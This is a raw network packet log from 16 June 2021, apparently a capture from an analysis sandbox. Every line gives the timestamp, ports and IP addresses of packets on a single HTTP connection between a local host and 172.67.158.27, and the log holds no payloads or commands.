Jun 16, 2021 12:05:57.504312038 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504323959 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.504332066 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504349947 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504363060 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.504368067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504384995 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504405022 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.504455090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.504499912 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.505168915 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505193949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505213022 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505228043 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.505228996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505247116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505259991 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.505264044 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505280972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505295038 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.505295992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505312920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505327940 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.505331993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.505362988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.506059885 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506164074 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506181002 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506197929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506201029 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.506215096 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506228924 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.506232977 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506251097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506263971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.506268024 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506289005 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506306887 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506309986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.506323099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.506337881 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.507133961 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507153988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507169962 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507186890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507186890 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.507206917 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.507452965 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507472992 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507489920 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507489920 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.507505894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507519007 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.507527113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507545948 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507555962 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.507564068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507580996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507592916 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.507596970 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507613897 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507630110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507632971 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.507646084 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.507659912 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.508440971 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508471012 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508488894 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508500099 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.508507013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508521080 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.508526087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508543015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508558989 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508559942 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.508575916 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508589029 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.508591890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508611917 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.508625031 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.509458065 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509480000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509495020 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509502888 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.509514093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509526014 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.509532928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509552956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509563923 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.509571075 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509587049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509599924 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.509603977 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509622097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509633064 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.509637117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509654045 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.509669065 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.510404110 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510427952 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510448933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510452986 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.510466099 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510479927 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.510483027 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510500908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510510921 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.510516882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510534048 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510550976 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.510550976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510569096 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510581970 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.510588884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.510622025 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.511419058 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.511439085 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.511456013 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.511477947 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.514708996 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.514772892 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.515081882 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.515402079 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542310953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542336941 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542355061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542371035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542375088 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542387009 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542403936 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542408943 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542439938 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542542934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542561054 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542577982 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542596102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542597055 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542613029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542629957 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542634010 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542651892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542664051 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542668104 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542685032 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542696953 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542701960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542717934 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542732954 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.542733908 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.542764902 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.543621063 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543646097 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543663025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543680906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543684006 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.543698072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543715000 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543716908 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.543731928 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543745041 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.543747902 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543781042 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.543867111 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543914080 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.543951988 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.544050932 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544543028 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544574976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544617891 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544626951 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.544652939 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.544661999 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544686079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544711113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544719934 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.544743061 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544773102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544780016 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.544805050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544828892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.544842958 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.545259953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545299053 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.545449972 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545480967 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545511007 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545530081 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.545537949 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545552969 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545566082 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.545577049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545595884 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545610905 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.545613050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545629025 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545640945 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.545660973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545680046 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.545692921 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.546523094 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546561956 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546562910 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.546591043 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546610117 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546627998 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546631098 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.546644926 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546660900 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546669960 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.546678066 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546694040 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546694994 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.546710014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546725035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.546726942 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.546758890 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.547373056 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547414064 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547449112 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.547451973 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547489882 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547508001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547521114 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.547530890 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547547102 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547560930 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.547563076 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547579050 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547594070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547595978 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.547616959 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.547625065 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.547777891 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.548378944 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548414946 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548443079 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548449993 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.548460960 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548475981 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548490047 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.548491955 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548507929 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548525095 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.548526049 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548542976 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548557997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.548557997 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.548588991 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.549036026 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549329042 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549365997 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549370050 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.549382925 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549408913 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549413919 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.549674988 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549705029 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549710035 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.549734116 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549762011 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549768925 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.549789906 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549807072 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549824953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549828053 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.549860954 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.549873114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549890041 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549906015 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549923897 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.549928904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.549959898 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.550646067 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550682068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550705910 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550719976 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.550724030 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550745964 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550754070 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.550760984 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550776958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550791979 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.550792933 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550820112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550827026 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.550836086 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550852060 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.550869942 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.551664114 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551695108 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551707983 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.551729918 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551745892 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551764011 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.551773071 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551790953 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551805019 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551805973 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.551824093 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551836014 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551848888 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551863909 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.551872015 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.551897049 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.552645922 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552683115 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552717924 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552726030 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.552742958 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552757978 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552776098 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.552786112 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552803993 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552819014 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.552822113 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552838087 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552853107 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.552862883 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552879095 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.552896976 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.553586006 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553617001 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553632021 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.553642035 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553667068 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553673983 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.553685904 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553703070 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553718090 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553719044 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.553742886 CEST	80	49169	172.67.158.27	192.168.2.22
Jun 16, 2021 12:05:57.553750992 CEST	49169	80	192.168.2.22	172.67.158.27
Jun 16, 2021 12:05:57.553760052 CEST	80	49169	172.67.158.27	192.168.2.22
